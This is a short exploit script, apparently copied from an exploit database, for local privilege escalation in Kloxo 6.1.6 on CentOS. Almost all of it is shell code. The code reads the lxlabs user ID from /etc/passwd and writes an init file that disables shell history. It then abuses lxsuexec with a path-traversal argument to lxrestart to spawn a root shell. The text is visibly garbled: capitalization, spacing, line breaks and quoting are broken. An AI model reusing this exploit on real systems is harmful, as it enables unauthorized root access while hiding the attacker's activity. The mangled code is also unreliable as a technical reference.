Kloxo 6.1.6 local permission escalation

#! /Bin/sh # Exploit Title: Kloxo Local Privilege Escalation # Google Dork: inurl: kiddies # Date: August 2012 or so # Exploit Author: HTP # Vendor Homepage: http://lxcenter.org/# Software Link: [download link if available] # Version: 6.1.6 (Latest) # Tested on: CentOS 5 # CVE: None # This exploit requires you want to be the Apache user, or another capable of running lxsuexec. LXLABS = 'cat/etc/passwd | grep lxlabs | cut-d: -f3 'export MUID = $ LXLABSexport GID = $ LXLABSexport TARGET =/bin/shexport CHECK_GID = 0 export NON_RESIDENT = 1 echo "unset histfile histsave PROMPT_COMMAND TMOUT">/tmp/w00trcecho" /usr/sbin/lxrestart '.. /.. /.. /bin/bash -- init-file/tmp/w00trc # '">/tmp/lollxsuexec/tmp/lol